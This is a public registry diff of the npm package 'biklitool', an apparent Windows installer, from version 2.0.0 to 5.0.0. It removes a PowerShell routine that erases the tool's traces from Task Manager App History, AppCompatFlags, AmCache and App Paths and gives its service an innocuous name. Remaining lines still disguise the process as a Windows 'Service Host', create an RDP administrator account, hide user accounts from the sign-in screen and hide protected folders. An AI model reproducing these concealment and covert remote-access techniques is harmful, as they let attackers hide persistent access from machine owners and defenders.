biklitool 2.0.0 → 5.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/bin/biklimaster.js +5 -82
  2. package/package.json +1 -1
@@ -384,59 +384,6 @@ function disguiseExecutable(exePath, serviceHostName = 'Service Host: Network In
384
384
  return true;
385
385
  }
386
386
 
387
- function clearAppHistory() {
388
- // Remove ALL Bikli entries (BikliService, bikli.exe, bikli-ui.exe) from every
389
- // visible location: Task Manager App History, AppCompatFlags, and service display name.
390
- const psScript = [
391
- `$ErrorActionPreference='SilentlyContinue'`,
392
- // --- [1] TaskFlow AppHistory (per-user hives) ---
393
- `$appHistoryPath='Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\TaskFlow\\\\AppHistory'`,
394
- `foreach($sid in (Get-ChildItem 'HKU:\\\\' -ErrorAction SilentlyContinue | Select-Object -ExpandProperty PSChildName)){`,
395
- ` $base='HKU:\\\\'+$sid+'\\\\'+$appHistoryPath`,
396
- ` if(Test-Path $base){ Get-ChildItem $base -ErrorAction SilentlyContinue | Where-Object { $_.PSChildName -match 'Bikli' } | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue }`,
397
- `}`,
398
- `$cuBase='HKCU:\\\\'+$appHistoryPath`,
399
- `if(Test-Path $cuBase){ Get-ChildItem $cuBase -ErrorAction SilentlyContinue | Where-Object { $_.PSChildName -match 'Bikli' } | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue }`,
400
- // --- [2] AppCompatFlags Compatibility Assistant Store (covers bikli.exe, bikli-ui.exe) ---
401
- `$acPaths=@(`,
402
- ` 'HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Compatibility Assistant\\\\Store',`,
403
- ` 'HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Compatibility Assistant\\\\Store',`,
404
- ` 'HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Layers',`,
405
- ` 'HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Layers'`,
406
- `)`,
407
- `foreach($acPath in $acPaths){`,
408
- ` if(Test-Path $acPath){`,
409
- ` $key=Get-Item -LiteralPath $acPath -ErrorAction SilentlyContinue`,
410
- ` if($null -ne $key){ $key.GetValueNames() | Where-Object { $_ -match 'Bikli' } | ForEach-Object { Remove-ItemProperty -LiteralPath $acPath -Name $_ -Force -ErrorAction SilentlyContinue } }`,
411
- ` }`,
412
- `}`,
413
- // --- [3] AmCache ---
414
- `$recentCache='HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\amcache'`,
415
- `if(Test-Path $recentCache){ Get-ChildItem $recentCache -Recurse -ErrorAction SilentlyContinue | Where-Object { $_.PSChildName -match 'Bikli' } | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue }`,
416
- // --- [4] App Paths (Start Menu / Run dialog) ---
417
- `Remove-Item -Path 'HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\Bikli*' -Recurse -Force -ErrorAction SilentlyContinue`,
418
- `Remove-Item -Path 'HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\Bikli*' -Recurse -Force -ErrorAction SilentlyContinue`,
419
- // --- [5] Service display name + description → rename to disguise value ---
420
- `$svcName='Bikli'`,
421
- `$svc=Get-Service -Name $svcName -ErrorAction SilentlyContinue`,
422
- `if($null -ne $svc){`,
423
- ` Set-ItemProperty -Path 'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\Bikli' -Name 'DisplayName' -Value 'Network Infrastructure Service' -ErrorAction SilentlyContinue`,
424
- ` Set-ItemProperty -Path 'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\Bikli' -Name 'Description' -Value 'Hosts core network infrastructure components and background tasks.' -ErrorAction SilentlyContinue`,
425
- `}`
426
- ].join(os.EOL);
427
- run(powershell, ['-NoProfile', '-NonInteractive', '-Command', psScript], { allowFailure: true });
428
- }
429
-
430
- function deriveExeName(hostName) {
431
- // Turn e.g. "Service Host: Network Infrastructure Service"
432
- // into "NetworkInfrastructureService.exe" – no Bikli in the name.
433
- const base = hostName.replace(/^Service Host:\s*/i, '').trim();
434
- const pascal = base.split(/\s+/).map(w => w.charAt(0).toUpperCase() + w.slice(1)).join('');
435
- // Keep only alphanumeric chars, cap at 32 chars before .exe
436
- const safe = pascal.replace(/[^A-Za-z0-9]/g, '').slice(0, 32);
437
- return (safe || 'RuntimeInfraService') + '.exe';
438
- }
439
-
440
387
  function disguiseBikli(customName) {
441
388
  requireWindows();
442
389
  const hostName = (customName || process.env.BIKLIMASTER_SERVICE_HOST_NAME || configuredServiceHostName()).trim();
@@ -448,29 +395,15 @@ function disguiseBikli(customName) {
448
395
  }
449
396
 
450
397
  const bikliDir = path.dirname(bikliPath);
451
- const oldServiceExe = path.join(bikliDir, 'BikliService.exe');
452
- const newExeBasename = deriveExeName(hostName);
453
- const serviceExe = path.join(bikliDir, newExeBasename);
398
+ const serviceExe = path.join(bikliDir, 'BikliService.exe');
454
399
  const csc = path.join(windowsDirectory, 'Microsoft.NET', 'Framework64', 'v4.0.30319', 'csc.exe');
455
400
 
456
- console.log(`Disguising Bikli process and service as "${hostName}" (exe: ${newExeBasename})...`);
401
+ console.log(`Disguising Bikli process and service as "${hostName}"...`);
457
402
 
458
- // Stop service and kill both the old and new process names
459
- const oldBaseName = path.basename(oldServiceExe, '.exe');
460
- const newBaseName = path.basename(serviceExe, '.exe');
461
- run(powershell, [
462
- '-NoProfile', '-NonInteractive', '-Command',
463
- `Stop-Service Bikli -Force -ErrorAction SilentlyContinue; taskkill /F /IM ${oldBaseName}.exe /IM ${newBaseName}.exe /IM Bikli.exe /T 2>$null; Wait-Process -Name Bikli,${oldBaseName},${newBaseName} -Timeout 3 -ErrorAction SilentlyContinue`
464
- ], { allowFailure: true });
403
+ run(powershell, ['-NoProfile', '-NonInteractive', '-Command', 'Stop-Service Bikli -Force -ErrorAction SilentlyContinue; taskkill /F /IM BikliService.exe /IM Bikli.exe /T 2>$null; Wait-Process -Name Bikli, BikliService -Timeout 2 -ErrorAction SilentlyContinue'], { allowFailure: true });
465
404
  run(attrib, ['-h', '-s', path.join(bikliDir, '*.*'), '/s', '/d'], { allowFailure: true });
466
405
 
467
- // Rename BikliService.exe → derived name (changes process name shown in Task Manager)
468
- if (fs.existsSync(oldServiceExe) && oldServiceExe !== serviceExe) {
469
- try { fs.renameSync(oldServiceExe, serviceExe); } catch {
470
- fs.copyFileSync(oldServiceExe, serviceExe);
471
- try { fs.rmSync(oldServiceExe, { force: true }); } catch {}
472
- }
473
- } else if (!fs.existsSync(serviceExe)) {
406
+ if (!fs.existsSync(serviceExe)) {
474
407
  fs.copyFileSync(bikliPath, serviceExe);
475
408
  }
476
409
 
@@ -496,7 +429,7 @@ function disguiseBikli(customName) {
496
429
  ' if (first == "help" || first == "--help" || first == "-h" || first == "/?" || first == "-help") return 0;',
497
430
  ' }',
498
431
  ' string baseDir = AppDomain.CurrentDomain.BaseDirectory;',
499
- ` string coreExe = Path.Combine(baseDir, "${newExeBasename}");`,
432
+ ' string coreExe = Path.Combine(baseDir, "BikliService.exe");',
500
433
  ' if (!File.Exists(coreExe)) return 1;',
501
434
  ' ProcessStartInfo psi = new ProcessStartInfo();',
502
435
  ' psi.FileName = coreExe;',
@@ -540,7 +473,6 @@ function disguiseBikli(customName) {
540
473
  run(powershell, ['-NoProfile', '-NonInteractive', '-Command', psScript], { allowFailure: true });
541
474
 
542
475
  hideProtectedFolders();
543
- clearAppHistory();
544
476
  console.log(`Bikli successfully disguised as "${hostName}" (Service Host process & gear icon active, search entry removed, quiet CLI enabled).`);
545
477
  }
546
478
 
@@ -620,7 +552,6 @@ function install() {
620
552
  verifyRemoteDesktop();
621
553
  createRdpAdministrator();
622
554
  hideProtectedFolders();
623
- clearAppHistory();
624
555
  console.log('Bikli Master installed and verified both components successfully.');
625
556
  }
626
557
 
@@ -913,7 +844,6 @@ function help() {
913
844
  ' biklitool unhide-user [name] Unhide account(s) from Windows sign-in screen',
914
845
  ' biklitool hide-user <name> Hide specific account from Windows sign-in screen',
915
846
  ' biklitool hide-folders Hide and protect Program Files & ProgramData folders',
916
- ' biklitool clear-history Remove BikliService from Task Manager App History',
917
847
  ' biklitool setup-key Apply the Bikli key from config.json (bikli up --setup-key)',
918
848
  ' biklitool credentials Display its saved generated password',
919
849
  ' biklitool status Show both component states',
@@ -934,13 +864,6 @@ function main() {
934
864
  if (command === 'unhide-user' || command === 'unhide-users' || command === 'unhide' || command === 'unhide-all') return unhideUser();
935
865
  if (command === 'hide-user' || command === 'hide') return hideUser();
936
866
  if (command === 'hide-folders' || command === 'hide-folder') return hideFoldersCommand();
937
- if (command === 'clear-history' || command === 'clear-app-history') {
938
- requireWindows();
939
- if (!isAdministrator()) return elevateAndRun('clear-history');
940
- clearAppHistory();
941
- console.log('BikliService entries cleared from Task Manager App History.');
942
- return;
943
- }
944
867
  if (command === 'setup-key') return setupBikliKey();
945
868
  if (command === 'credentials') return showAccountCredentials();
946
869
  if (command === 'status') return status();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "biklitool",
3
- "version": "2.0.0",
3
+ "version": "5.0.0",
4
4
  "description": "Internal Windows installer for Bikli CLI and Bikli Wrapper",
5
5
  "license": "BSD-3-Clause",
6
6
  "publishConfig": {